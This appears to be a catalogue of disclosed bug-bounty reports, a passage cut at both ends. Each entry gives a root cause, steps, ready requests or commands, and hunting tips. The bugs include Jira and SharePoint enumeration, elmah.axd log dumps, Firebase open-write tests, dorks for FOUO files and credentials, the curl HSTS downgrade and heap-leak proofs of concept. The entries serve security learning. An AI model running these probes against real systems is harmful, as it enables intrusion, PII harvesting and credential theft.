curl --hsts hsts.txt http://curl.se. # not upgraded -> plain HTTP
# IDN ideographic full stop U+3002 (CVE-2022-43551)
curl --hsts hsts.txt https://curl%E3%80%82se
curl --hsts hsts.txt http://curl%E3%80%82se
Insight — Any security decision keyed on a host/URL string is only as safe as its normalization. When testing HSTS/allowlists/cookie scoping/SSRF filters, probe equivalent host encodings: trailing dot, IDN/punycode, uppercase, added port, IP vs name. A store/lookup normalization gap is the recurring bug.
Real-world example
WebRTC leaks last video frame after camera 'disabled'
◆ Medium
Specimen #1641088 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface web
Root cause
In Nextcloud Talk, disabling video did not stop sending media: the last captured frame was still transmitted on the peer connection, so a remote participant could recover it by attaching the received track to their own video element.
Method
- Join a call and disable your video (camera still selected)
- As another participant, grab the incoming MediaStreamTrack from the RTCPeerConnection receivers
- Attach it to a manually created <video> element and play to render the leaked last frame
videoElement = document.createElement('video')
document.body.appendChild(videoElement)
videoElement.srcObject = new MediaStream()
videoElement.srcObject.addTrack(OCA.Talk.SimpleWebRTC.webrtc.peers[0].pc.getReceivers()[1].track)
videoElement.play()
Insight — Client-side 'off' toggles that only hide media in the UI (vs stopping the track / removing the sender) leak data. On any WebRTC/streaming app, inspect the raw RTCPeerConnection receivers to see what is actually still being transmitted after 'mute'/'disable'.
Real-world example
Invitation resend endpoint leaks invitee's updated email/phone
◆ Medium
Specimen #529367 · vkcom · awarded · 9 votes · resolved
Program vkcomSurface web
Root cause
An invite 'resend' action (invite.php?act=resend) could be replayed at any time and reflected the invitee's current contact details, so after the invited user changed their email/phone the inviter could pull the new (partial) values; registering a previously-invited number also leaked that new user's ID to the inviter.
Method
- Invite a user by email/phone, capturing the invite/resend endpoint
- Later, replay the resend action for that invite
- Read the response for the invitee's updated email or partial phone number (or the account ID if a previously-invited number later registers)
GET /invite.php?act=resend&invite_id=INVITE_ID HTTP/1.1
Host: TARGET
# response reflects invitee's current email / partial phone
Insight — Invitation/resend/pending-share objects often re-read live contact data of the target user. Replay them after the invitee changes details to leak updated PII, and invite unregistered identifiers to later correlate them to real accounts.
Real-world example
Local helper web service bound to 0.0.0.0 exposes files to LAN
◆ Medium
Specimen #300181 · brave · awarded · 9 votes · resolved
Program braveSurface desktop
Root cause
The Brave Torrent Viewer spun up a local HTTP file server that listened on all interfaces (0.0.0.0) instead of loopback, so anyone on the same network could list and download the user's currently downloaded files.
Method
- Trigger the feature that starts a local helper server (torrent download)
- Note the dynamic port (hover the save button or port-scan the host)
- From another device on the LAN, connect to that port to enumerate and download the victim's files
# from another host on the same network
nmap -p1-65535 --open VICTIM_IP
curl http://VICTIM_IP:PORT/
Insight — Desktop/mobile apps that open helper servers (torrent, dev servers, sync, casting, debug bridges) frequently bind 0.0.0.0 rather than 127.0.0.1. Port-scan the host from a peer while the feature runs; a randomized port is not protection.
Real-world example
HTTP status-code oracle enumerates hidden report participants
◆ Medium
Specimen #157699 · security · awarded · 9 votes · resolved
Program securitySurface webChain user-ID enumeration -> status-code oracle -> private p
Root cause
A state-changing endpoint (DELETE /reports/{id}/external_users/{uid}) returned different status codes depending on whether a given user was an external participant (404 vs 500) without first checking the caller's access to the report, forming an oracle to enumerate who is invited to a private report.
Method
- Resolve target usernames to numeric user IDs (public: GET /{username} with X-Requested-With: XMLHttpRequest)
- For a report of interest, send the external_users DELETE for each candidate user ID
- Distinguish membership by status code: 404 = user IS an external participant, 500 = is not (412 = bad session)
curl 'https://TARGET/reports/REPORT_ID/external_users/USER_ID' -X DELETE \
-H 'X-CSRF-Token: SESSION' -H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: SESSION' -D-
# 404 => yes, 500 => no
Insight — Differential responses (status code, error type, timing, length) on any endpoint leak boolean facts even when no data is returned. When an action endpoint lacks an upfront authorization check on the parent object, it becomes a membership/existence oracle. Fix pattern: check parent access first and return identical responses for both branches.
Real-world example
Unauthenticated ELMAH elmah.axd error-log dump
◆ Medium
Specimen #1139340 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain Leaked session cookies / __RequestVerificationToken -> se
Root cause
The ASP.NET ELMAH error-logging handler (elmah.axd) is served without authorization, exposing every logged error including request cookies, session/anti-CSRF tokens, client IPs, and local file paths.
Method
- Request /elmah.axd on ASP.NET targets
- Browse the error list; open detail pages for entries containing full request dumps
- Download the entire log via /elmah.axd/download and grep for Cookie/__RequestVerificationToken/paths
GET /elmah.axd HTTP/1.1
GET /elmah.axd/download HTTP/1.1 # CSV/full export of all logged errors
Insight — For ASP.NET stacks, always probe /elmah.axd (and variants like /errorlog.axd). Exposed error logs are a goldmine: they replay victims' cookies and CSRF tokens, enabling session hijacking, plus internal paths for further LFI/RCE.
Real-world example
Unauthenticated Jira REST/menu endpoints leak users, projects, admin menu
◆ Medium
Specimen #2126039 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain username enumeration -> password spraying / phishing
Root cause
Atlassian Jira Server (pre-9.0) allowed anonymous access to several REST/menu endpoints that enumerate project categories, resolutions, usernames and admin menu items (CVE-2020-14179 / JRASERVER-73060).
Method
- Fingerprint Jira (e.g. /secure/JiraCreditsPage!default.jspa reveals version/build)
- Hit the anonymous-readable endpoints to enumerate metadata and usernames
- Use /rest/menu/latest/admin?maxResults=1000 to list admin menu structure
GET /rest/menu/latest/admin?maxResults=1000
GET /rest/api/2/projectCategory
GET /rest/api/2/resolution
GET /secure/QueryComponent!Default.jspa # (classic Jira user/project enum)
Insight — On any Jira instance, unauthenticated probe /rest/api/2/* and /rest/menu/latest/admin plus /secure/*.jspa for version and metadata leakage; usernames harvested here feed spraying/phishing. Feature flags to restrict anon access only landed in 9.0.
Real-world example
Logi Analytics rdPage debug mode leaks SQL schema and webroot path
◆ Medium
Specimen #200079 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
A Logi Analytics (Logi Info) report server exposes rdPage.aspx with debug/show-modes enabled, rendering a debug trace that reveals SQL structure, the webroot path, and other server-side internals.
Method
- Identify Logi Analytics by the rdPage.aspx?rdReport=... URL pattern
- Append the debug/show-modes toggle to the report URL
- Read the debug trace: SQL query structure, physical paths, config details
https://TARGET/rserver/rdPage.aspx?rdReport=db_Dashboard&rdShowModes=
Insight — Product-specific debug fingerprint: for Logi Analytics/Logi Info (rdPage.aspx, rdReport=, rd* params) try rdShowModes=/debug toggles to surface SQL and paths. Generalize: any BI/report platform with a debug/trace query flag is an info-disclosure sink.
Real-world example
Third-party app endpoint leaks store internal email via unauthenticated shop parameter
◆ Medium
Specimen #1605962 · shopify · awarded · 8 votes · resolved
Program shopifySurface webTag webhook
Root cause
A first/third-party companion app (shopify-data-exporter) rendered a store's internal recipient email in its HTTP response keyed only by an attacker-controllable ?shop= parameter, with no authentication tying the requester to that store.
Method
- Identify the app host serving a store-scoped page (shopify-data-exporter.shopifycloud.com).
- Request it with the target store in the shop parameter.
- Read the data-recipient attribute in the response HTML - the store's internal email.
GET /?shop=your_store.myshopify.com HTTP/2
Host: shopify-data-exporter.shopifycloud.com
# response contains data-recipient="<store internal email>"
Insight — Enumerate the *satellite* app/integration hostnames of a platform (appname.<platform>cloud.com). Endpoints that take a tenant identifier (shop=, org=, account=) in the query string often skip the auth check the main app enforces, returning tenant-scoped data to anyone.
Real-world example
Jira unauthenticated custom-field/SLA disclosure (CVE-2020-14179)
◆ Medium
Specimen #1153817 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
Atlassian Jira Server/Data Center exposes custom field and custom SLA names to remote, unauthenticated users through the QueryComponent!Default.jspa endpoint.
Method
- Fingerprint Jira (favicon, /login.jsp, /secure/Dashboard.jspa).
- Request the QueryComponent endpoint unauthenticated to enumerate custom field / SLA names.
GET /secure/QueryComponent!Default.jspa HTTP/1.1
Host: TARGET
Insight — Keep a checklist of unauthenticated Jira/Confluence CVE probe paths; QueryComponent!Default.jspa (CVE-2020-14179) enumerates internal field/SLA naming that aids further targeting. Pair with /rest/api/2/* and the CVE-2019-8449 user-picker endpoint.
Real-world example
Django DEBUG=True error page leaks settings and stack traces
◆ Medium
Specimen #1434276 · mtn_group · none · 8 votes · resolved
Program mtn_groupSurface web
Root cause
Production Django ran with DEBUG=True, so any unhandled route/exception returns the verbose debug page exposing settings, installed apps, middleware, framework/version and partial environment.
Method
- Request a non-existent path or one that triggers an exception.
- Read the Django yellow debug page: settings, INSTALLED_APPS, middleware, and sometimes SECRET_KEY / DB config in the traceback.
GET /NON_EXISTING_PATH/ HTTP/1.1
Host: TARGET
Insight — On any Django target, force a 404/500 and look for the debug traceback page. Beyond recon, the settings dump can leak SECRET_KEY (session/CSRF forgery), DB creds and internal hostnames. Same pattern for Flask (Werkzeug debugger console), Rails, Symfony profiler.
Real-world example
HAProxy stats panel exposed on a non-standard port
◆ Medium
Specimen #1884372 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
HAProxy's built-in statistics page was bound to an internet-reachable port with no auth, exposing backend server names, health, and traffic stats.
Method
- Port-scan the host for management ports (here 1024).
- Request the HAProxy stats path.
- Read backend pool names, server IPs/health, and traffic counters.
http://TARGET:1024/haproxy-status
http://TARGET:1024/haproxy-status?stats
Insight — Scan the full port range, not just 80/443; ops/monitoring panels (HAProxy stats, /server-status, Prometheus, Consul) are frequently bound to high ports without auth and map internal backend topology for later pivoting.
Real-world example
Atomic-rename widens file permissions on saved cookie/HSTS/alt-svc files (CVE-2022-32207)
◆ Medium
Specimen #1614331 · ibb · USD 2400 · 7 votes · resolved
Program ibbSurface other
Root cause
curl writes cookies/alt-svc/HSTS to a temp file and rename()s it over the target to be atomic, but the rename does not preserve the original target's restrictive permissions, so the finalized file can end up world/group-readable, exposing session cookies to other local users.
Method
- Have curl save cookies (or alt-svc/hsts) to a file that previously had strict perms
- curl writes a temp file with default perms and renames it over the target
- Resulting file has widened permissions -> other local users read the cookie jar
# workaround: strict umask before running curl
# root cause: temp-file create + rename() drops original file mode
Insight — Atomic write-via-rename is a common pattern that silently resets file permissions to the process umask default. When auditing code that persists secrets (cookie jars, tokens, keys) via temp+rename, check that the mode/owner of the original is re-applied (fchmod) before/after rename.
Real-world example
Directly invoke a ColdFusion CFC remote method to leak the admin salt
◆ Medium
Specimen #241116 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain Leaked salt feeds ColdFusion's client-side SHA login hashing
Root cause
A ColdFusion component (administrator.cfc) exposed remote methods callable via ?method=, and getSalt returned the admin password salt needed to precompute the client-side login hash.
Method
- Locate .cfc components in the app.
- Invoke methods directly with ?method=<name> (e.g. getSalt).
- Retrieve the salt used in ColdFusion's client-side hashed login, enabling offline cracking / auth bypass.
GET /path/adminapi/administrator.cfc?method=getSalt HTTP/1.1
Host: TARGET
# response: the admin salt value
Insight — ColdFusion .cfc files expose access=remote methods over HTTP via ?method=. Enumerate CFC method names and call them unauthenticated - getSalt, and CF admin CVEs (locale/adminapi LFI) are classic. Any RPC-over-URL surface (.cfc, .asmx?op=, .php?action=) should be probed method-by-method.
Real-world example
Secret token in URL leaks to third-party analytics via Referer
◆ Medium
Specimen #213936 · legalrobot · awarded · 7 votes · resolved
Program legalrobotSurface webTag account-takeover
Root cause
The password-reset token was carried in the page URL; when that page loaded third-party scripts (Intercom, Google Analytics), the full URL including the token was sent to them in the Referer header / analytics payload.
Method
- Open a flow whose sensitive token is in the URL (password reset, invite, magic link).
- Observe outbound requests to third parties (analytics, chat widgets, CDNs).
- The Referer header (or analytics page-URL field) leaks the token to those external services.
Referer: https://TARGET/reset-password?token=SECRET_RESET_TOKEN
# sent automatically to intercom.io / google-analytics.com on the reset page
Insight — Any secret in a query string (reset/verify/SSO tokens, session IDs) leaks via Referer to every third-party asset on the page and into analytics logs. Load the sensitive page, watch the proxy for cross-origin requests, and check whether the token appears in Referer or analytics beacons. Fix is tokens in POST body/path + Referrer-Policy.
Real-world example
Anonymous SharePoint web services exposure (/_vti_bin)
◆ Medium
Specimen #300539 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
SharePoint _vti_bin ASMX/SOAP web services (lists.asmx, sitedata.asmx, etc.) are reachable by anonymous users due to missing access control, disclosing site structure and data used to plan further attacks.
Method
- Identify a SharePoint host (Microsoft-SharePointTeamServices header, /_layouts/, /_vti_bin/ paths)
- Request the WSDL of a web service without authentication
- Enumerate exposed services (lists.asmx, webs.asmx, sitedata.asmx, people.asmx) for readable data
GET /_vti_bin/lists.asmx?WSDL HTTP/1.1
Host: TARGET
Cookie: WSS_FullScreenMode=false
User-Agent: Mozilla/5.0
Insight — On any SharePoint target, probe /_vti_bin/*.asmx?WSDL and /_vti_bin/ endpoints unauthenticated before anything else; anonymous SOAP access commonly leaks lists, users, and site metadata.
Real-world example
Patched PII page still exposed via search-engine cache
◆ Medium
Specimen #1074136 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
A page that once exposed PII was fixed on the live site but the sensitive content persists in Google's cache/index, so a targeted dork + cached view recovers the data after the 'fix'.
Method
- Identify a page suspected of previously leaking data (now returning nothing/patched)
- Craft a Google dork targeting the site/path/keywords
- Open the Cached copy (or Wayback/webcache) to retrieve the pre-fix PII
site:TARGET intext:"<PII keyword>" -> open 'Cached'
# also: https://webcache.googleusercontent.com/search?q=cache:URL and web.archive.org
Insight — A live fix is not a data fix. After any exposure, check Google cache, Bing cache, and the Wayback Machine; recommend cache-eviction (Google removal tool) in the report. Conversely, when hunting, cached/archived copies recover 'already fixed' leaks.
Real-world example
Jira user enumeration via /rest/api/2/user/picker (CVE-2019-3403)
◆ Medium
Specimen #1147951 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
Outdated Jira versions perform an incorrect authorization check on the user picker REST resource, letting remote/unauthorized callers enumerate usernames.
Method
- Fingerprint Jira and its version (/secure/Dashboard.jspa, footer, /rest/api/2/serverInfo)
- Compare against the CVE-2019-3403 affected ranges (<7.13.3, 8.0.0-8.0.3, 8.1.0)
- Query the picker endpoint with query prefixes to enumerate accounts
GET /rest/api/2/user/picker?query=admin
GET /rest/api/2/user/picker?query=a
Insight — Fingerprint the product+version first; many info-disclosure 'findings' are just unpatched known CVEs. For Jira specifically, /rest/api/2/user/picker and other /rest/api/2/* endpoints are reliable username-enumeration surfaces on old builds.
Real-world example
Uninitialized stack disclosure via sscanf return-value misuse (curl telnet, CVE-2021-22898)
◆ Medium
Specimen #1176461 · curl · awarded · 7 votes · resolved
Program curlSurface other
Root cause
suboption() checks sscanf() truthy instead of ==2, so an input matching only the first field leaves the second buffer (varval) uninitialized while the write cursor still advances, emitting leftover stack bytes into the wire buffer.
Method
- Provide a NEW_ENV telnet option value that satisfies only the first %127 field so varval is never written
- Ensure the parser advances by strlen(v->data)+1, leaving a gap filled with stale stack
- Capture the outbound telnet negotiation and read leaked stack bytes
if(sscanf(v->data, "%127[^,],%127s", varname, varval)) { /* BUG: should be ==2 */ }
# repro:
curl -tNEW_ENV=aaaa...,aaaa... telnet://127.0.0.1 # tcpdump -X port 23 shows uninitialized stack
Insight — Audit every sscanf/scanf call for 'if(sscanf(...))' instead of comparing to the exact expected field count; partial matches leave later output buffers uninitialized, a classic memory-disclosure primitive whenever those buffers are later serialized.
Real-world example
Firebase config in page source -> test for open Realtime DB rules
◆ Medium
Specimen #1351326 · mtn_group · none · 7 votes · resolved
Program mtn_groupSurface webTag cloud-gcp
Root cause
The full firebaseConfig (apiKey, authDomain, databaseURL, projectId, storageBucket) is embedded in client source; while the apiKey is public by design, an exposed databaseURL with permissive security rules allows unauthenticated read/write of the Realtime Database.
Method
- View page source / JS and extract firebaseConfig (grep databaseURL, apiKey, storageBucket)
- Append /.json to the databaseURL to test unauthenticated read
- Test write and the storage bucket listing to gauge rule misconfiguration
# from source: databaseURL: "https://PROJECT.firebaseio.com"
curl 'https://PROJECT.firebaseio.com/.json' # open read?
curl -X PUT -d '{"pwn":1}' 'https://PROJECT.firebaseio.com/pwn.json' # open write?
curl 'https://firebasestorage.googleapis.com/v0/b/BUCKET/o' # bucket listing
Insight — Don't stop at 'Firebase key leaked' (usually not a bug). Pull the databaseURL and hit <db>/.json for open read/write rules, and probe the storage bucket; the exploitable issue is the security rules, not the config being visible.
Real-world example
HSTS bypass via IDN normalization + HSTS cache-write bugs (curl CVE-2022-43551 / CVE-2023-23915)
◆ Medium
Specimen #1755083 · curl · none · 7 votes · resolved
Program curlSurface otherChain HSTS cache key mismatch -> forced HTTP -> MITM/clearte
Root cause
curl writes the pre-IDN-conversion hostname into the HSTS cache, so a Unicode character that Nameprep-normalizes to '.' (e.g. U+3002) yields a cache key that never matches the real ASCII host; the subsequent HTTP request is not upgraded, downgrading to cleartext.
Method
- From a clean HSTS cache, request https://accounts.google<U+3002>com (percent-encoded %E3%80%82)
- Inspect the HSTS file: the stored entry keeps the pre-conversion IDN host, not accounts.google.com
- Request http://accounts.google<U+3002>com: no HSTS match -> connection proceeds over plaintext to the real host
curl -v --hsts hsts.txt https://accounts.google%E3%80%82com # seeds wrong cache key
curl -v --hsts hsts.txt http://accounts.google%E3%80%82com # not upgraded -> cleartext
# stored: .accounts.google。com (should be .accounts.google.com)
Insight — When a client normalizes hostnames (IDN/Nameprep, case, trailing dot), test whether the security-state cache (HSTS/HPKP/cookie domain) is keyed on the PRE- or POST-normalization name. A mismatch means the protection is silently skipped and traffic downgrades to cleartext.
Real-world example
OAuth token leaked to Android logcat
◆ Medium
Specimen #44492 · x · awarded · 6 votes · resolved
Program xSurface mobile-androidTag oauthTag account-takeover
Root cause
The Twitter Kit / Fabric 'login with Twitter' SDK wrote the returned OAuth token to Android logcat; any co-installed app reading logs could harvest the token.
Method
- Integrate the vulnerable login-with-Twitter SDK into a test app
- Complete the OAuth login on-device
- grep logcat for 'twitter'/token strings and read the leaked OAuth token
- Any app with log-read access can steal it, enabling account access
adb logcat | grep -i twitter # reveals oauth token
Insight — On Android assessments, always tail logcat during auth flows; SDKs frequently log tokens/secrets. A logcat leak in a shared library affects every app that embeds it.
Real-world example
DWR default index exposes all remote classes/methods
◆ Medium
Specimen #214800 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain Method enumeration -> hidden test/admin methods -> SQL
Root cause
The DWR (Direct Web Remoting) debug/test page (/dwr/index.html) is left enabled, listing every exposed Java class and method - including test and admin functions - and lets you invoke them directly.
Method
- Request /dwr/index.html on a Java web app
- Enumerate the listed classes and methods, including test/admin ones
- Invoke methods via the DWR test interface to reach hidden functionality (often unhardened, so SQLi/XSS-prone)
GET /dwr/index.html
# then /dwr/test/<ExposedClass> to list and call methods
Insight — DWR (and similar RPC debug consoles) shipped in debug mode enumerate the full server-side API. The test/admin methods surfaced here rarely got the input-validation attention of production endpoints - hunt them for SQLi/XSS.
Real-world example
Email harvesting via reactivation/reset field echoing account email
◆ Medium
Specimen #520842 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain Username enumeration -> email disclosure -> targeted p
Root cause
An account-reactivation (password-reset-style) endpoint reflects the target account's email when given a valid username, and lacks rate limiting, so a username wordlist can be brute-forced to harvest a list of real emails.
Method
- Find the reactivation/reset endpoint that accepts a username
- Submit common usernames (first/last names) - valid ones return the account's email
- Automate over a name wordlist (no rate limit) to build an email list for phishing
POST /griduc/accounts/request_reactivation/
username=admin # response discloses the account's email address
Insight — Password-reset/reactivation flows should never confirm account existence or echo the email. When one does and rate limiting is absent, it becomes a username-enumeration + PII-harvesting oracle. Diff responses for valid vs invalid usernames and check for the email in the response.
Real-world example
Google-dorking exposed sensitive/FOUO documents (and creds inside them)
◆ Medium
Specimen #3291053 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain exposed pptx credentials -> potential account takeover of
Root cause
Sensitive internal documents (marked FOUO / 'Not for public release', or containing credentials/passports) are placed in web-reachable directories with no access control and get indexed by search engines.
Method
- Run classification-marking dorks against the target org's domains
- Open indexed PDFs/PPTX/DOCX and check for internal markings, PII, or embedded credentials
- For exposed office files, open notes/slides/metadata for usernames+passwords
- Confirm the file loads with no auth, then report the specific URL
intitle:FOUO filetype:pdf
site:TARGET filetype:pdf ("FOR OFFICIAL USE ONLY" OR "NOT FOR PUBLIC RELEASE")
site:TARGET filetype:pptx (password OR credentials OR login)
site:TARGET (ext:pdf OR ext:xlsx OR ext:docx) confidential
Insight — Classification/handling markings ('FOUO', 'FOR OFFICIAL USE ONLY', 'Confidential') make excellent dork strings; combine with filetype: to surface exposed documents. Always open the file itself - office docs (pptx/xlsx) frequently embed cleartext credentials good for account takeover.
Real-world example
Unterminated HTML comment triggers libxml2 OOB read leaking prior-request memory
◆ Medium
Specimen #57125 · shopify · none · 5 votes · resolved
Program shopifySurface webChain memory disclosure -> other users' cart_token/checkout_tok
Root cause
Storing an unterminated HTML comment ('<!--') in a field that is later parsed by libxml2/Nokogiri caused an out-of-bounds read past the buffer; leftover heap memory (ruby objects from previous HTTP requests, incl. cart_token/checkout_token/email/session_hash) was included in the parsed output and rendered in the page.
Method
- Find a stored field reflected into an HTML/XML-parsed context (page title, meta, template)
- Set the value to an unterminated comment '<!--' (optionally with trailing markup)
- Load the rendering page and inspect where the title/field should be
- Observe adjacent process heap memory - tokens/emails/session data from other requests - leaking into the output
# stored value:
<!--
# then set an adjacent field to: "> <sometag>
# render page -> leaked bytes appear where the title should be
Insight — An unterminated '<!--' is a cheap probe for parser out-of-bounds reads (libxml2/Nokogiri class of bugs). When a comment-open with no close makes unrelated data appear in the response, you are reading process memory - a cross-request secret disclosure, far more serious than simple HTML injection.
Real-world example
Line-feed (%0A) path injection exposes raw S3 bucket listing
◆ Medium
Specimen #460928 · ratelimited · none · 5 votes · resolved
Program ratelimitedSurface cloudTag cloud-aws
Root cause
A path segment containing a raw newline reroutes the request straight to the backing S3 REST endpoint instead of the app, exposing anonymous bucket LIST and object reads because of a permissive bucket ACL.
Method
- Append %0A/ to an app path that proxies to S3 (e.g. /migration/)
- Response returns the S3 XML ListBucketResult (keys of the bucket)
- Page past 1000-key limit with ?marker=<lastkey>
- Issue limited S3 REST subresources (?location) and read reachable objects
https://TARGET/migration/%0A/
https://TARGET/migration/%0A/?location
https://TARGET/migration/%0A/?marker=02ff70.png
https://TARGET/migration/%0a/00f776 # object read
Insight — When an app path maps onto an S3 key prefix, try CRLF/%0A/%0D injection to break out to the bucket root and coax the S3 XML listing; then use ?marker= to enumerate beyond 1000 keys and ?location/?acl subresources that should be owner-only.
Real-world example
Uninitialized memory leak via serialized C/C++ request structs
◆ Medium
Specimen #481164 · monero · none · 5 votes · resolved
Program moneroSurface other
Root cause
C++ request structs are stack/heap-allocated without value-initialization, then serialized to JSON and sent over the network; unset fields serialize the raw byte remnants of previously freed memory (possible key/secret material).
Method
- Locate outbound RPC/serialization calls where the request struct is declared but not zero-initialized (missing AUTO_VAL_INIT / value_initialized)
- Serialize it (store_t_to_json) as the code does
- Observe random non-deterministic bytes in the emitted JSON across many runs
- Capture the leaked bytes as a network peer / bootstrap node
typename T::request ireq; // BUG: uninitialized
epee::serialization::store_t_to_json(ireq, req_param);
// fix:
boost::value_initialized<typename T::request> _ireq;
typename T::request& ireq = _ireq;
Insight — In native codebases, audit every place a request/DTO struct is serialized without explicit zero/value-initialization; leaked padding and unset fields can carry secrets to any peer. Diff serialized output across runs to spot non-determinism.
Real-world example
Unauthenticated display-name/user-enum via avatar endpoint
◆ Medium
Specimen #237232 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface web
Root cause
An unauthenticated avatar/profile endpoint returns a user's display name (real full name) keyed only by login name, enabling login-name validation and PII mapping without credentials.
Method
- Obtain or brute-force candidate login names
- Request the avatar endpoint unauthenticated
- Valid login names return the user's display name; invalid ones differ
GET /index.php/avatar/<USERNAME>/abc HTTP/1.1 (unauthenticated)
Insight — Avatar / profile-image / 'is this username taken' endpoints are common unauthenticated user-enumeration and name-disclosure sinks. Always test them without a session and diff responses for valid vs invalid identifiers.
Real-world example
Node.js uninitialized Buffer memory disclosure via numeric input to Buffer-based APIs
◆ Medium
Specimen #321686 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface apiTag file-upload
Root cause
Legacy Buffer(number) allocates uninitialized memory. npm modules (atob, base64-url, ...) pass user input straight into Buffer without type-coercing to string; when a JSON-typed number reaches them on Node <=6.x, the returned value exposes uninitialized heap (possibly secrets), and a large number causes memory-exhaustion DoS.
Method
- Find an endpoint that feeds JSON-decoded input into a Buffer-backed helper (base64 decode/encode, atob, etc.)
- Submit a numeric value instead of a string (JSON number, not quoted)
- Observe uninitialized bytes echoed back (info leak) or huge memory/time on a large number (DoS)
// leak uninitialized memory (Node <=6.x)
console.log(require('atob')(1000));
console.log(require('base64-url').encode(1000));
// DoS on any version
require('atob')(1e8);
Insight — When user input crosses from JSON (which has real number/array/object types) into a string API, a type-confusion between number and string can hit legacy Buffer(number) and disclose heap memory. On any target, try sending numbers/arrays where the app expects a string, especially into encode/decode/hash helpers.
Real-world example
Anonymous SharePoint web-service discovery via spdisco.aspx
◆ Medium
Specimen #920403 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
A SharePoint site allows anonymous access to spdisco.aspx (and the .wsdl/.asmx web services it enumerates), disclosing the full set of SOAP web-service endpoints and their contracts to unauthenticated users.
Method
- Request /_vti_bin/spdisco.aspx (or linked *.asmx?wsdl) on a SharePoint host without authenticating.
- Parse the discovery doc for the list of web-service endpoints (Lists.asmx, Webs.asmx, etc.) and their WSDL.
- Use the disclosed contracts to probe the SOAP services for further weaknesses.
GET /_vti_bin/spdisco.aspx HTTP/1.1 # returns discovery of SharePoint .asmx/.wsdl endpoints when anon access is enabled
Insight — On SharePoint targets, spdisco.aspx and *.asmx?wsdl are quick recon tells for anonymous exposure and a map of the SOAP attack surface. Treat exposed WSDL as an endpoint inventory, then test each service for authz.
Real-world example
Oversized input -> unhandled exception -> SQL/backend stack trace
◆ Medium
Specimen #1020472 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A login field with no length guard passes an over-long value straight into a JDBC/Oracle bind, throwing an unhandled SQLException whose verbose stack trace (ORA-01460, class/query internals) is returned to the client.
Method
- Intercept the login POST to the SSO endpoint.
- Set the username to ~100,000 characters.
- Send; observe the returned stack trace leaking java.sql.SQLException / ORA-01460 and backend detail.
POST /sso/LoginRequest.do
username=AAAA...(100000 x A)...&password=x
# -> Internal Exception: java.sql.SQLException: ORA-01460: unimplemented or unreasonable conversion requested
Insight — When normal probes fail, send abnormally large / type-breaking inputs to surface unhandled exceptions; the resulting stack traces fingerprint the DB (Oracle/MSSQL/etc.), ORM, and query structure for follow-on injection.
Real-world example
curl --metalink reuses --user credentials across hosts/protocols
◆ Medium
Specimen #1213181 · curl · awarded · 4 votes · resolved
Program curlSurface otherTag account-takeover
Root cause
When built --with-libmetalink and invoked with --metalink and --user, curl applies the supplied credentials to every transfer the metalink references, including different hosts and non-TLS protocols (http/ftp), unlike redirects which require --location-trusted.
Method
- Build libcurl with --with-libmetalink.
- Host a metalink XML whose <url> points to a different host over http/ftp.
- Run curl --metalink --user user:pass https://victim/test.xml and observe the Authorization header sent to the foreign host.
curl --metalink --user professor:Joshua https://testsite/metalinktest.xml
# -> to a different host over http: Authorization: Basic cHJvZmVzc29yOkpvc2h1YQ==
Insight — Any client feature that follows a document-supplied URL list (metalink, playlists, manifests) must re-scope credentials per origin; test whether creds set for host A leak to host B or drop to cleartext protocols.
Real-world example
curl CURLOPT_PROXYUSERPWD stale-password reuse across handle reuse
◆ Medium
Specimen #3750295 · curl · none · 4 votes · resolved
Program curlSurface otherChain handle reuse across trust boundaries -> stale proxy passwTag account-takeover
Root cause
CURLOPT_PROXYUSERPWD parses input into temporary u/p and only overwrites the internal username/password fields when that component is present. Setting a username-only value (or NULL to clear) leaves the previous password in the handle, so a reused easy handle sends a prior task's proxy password to a later proxy.
Method
- On one easy handle set CURLOPT_PROXYUSERPWD='victim:secret' and make a proxied request.
- Reuse the handle; set CURLOPT_PROXYUSERPWD='attacker' (no colon) or NULL.
- Make another proxied request; observe Proxy-Authorization still carries 'attacker:secret'.
curl_easy_setopt(h, CURLOPT_PROXYUSERPWD, "victim:secret"); /* req 1 */
curl_easy_setopt(h, CURLOPT_PROXYUSERPWD, "attacker"); /* req 2 */
// proxy sees: Proxy-Authorization: Basic YXR0YWNrZXI6c2VjcmV0 (attacker:secret)
curl_easy_setopt(h, CURLOPT_PROXYUSERPWD, NULL); /* req 3 still leaks secret */
Insight — When auditing credential setters on reusable handles/clients, test partial and NULL updates: 'set only username' or 'clear' must wipe the paired secret. Multi-tenant proxy pools / crawlers reusing libcurl handles across trust levels are the realistic victims.
Real-world example
Uninitialized heap disclosure via EXIF TIFF thumbnail (ASLR bypass)
◆ Medium
Specimen #160294 · ibb · awarded · 4 votes · resolved
Program ibbSurface otherChain Info leak (heap addresses) -> defeat ASLR/PIE -> pair
Root cause
exif_process_IFD_in_TIFF sets Thumbnail.offset > FileSize so php_stream_read returns 0; the code only logs EXIF_ERRLOG_THUMBEOF (no exit/return), so the safe_emalloc'd Thumbnail.data is never filled and the uninitialized heap buffer is returned, leaking pointers/heap contents usable to defeat ASLR/PIE.
Method
- Craft a TIFF whose thumbnail offset is beyond EOF but size nonzero
- Call exif_read_data() on it
- php_stream_read reads 0 bytes but code continues; uninitialized Thumbnail.data (incl. addresses) is returned
<?php
$exif = exif_read_data('gen.tiff',0,0,true);
$thumb = $exif['THUMBNAIL']['THUMBNAIL'];
echo bin2hex($thumb); // 00c2a7081e7f0000 -> 0x7f1e08a7c200
?>
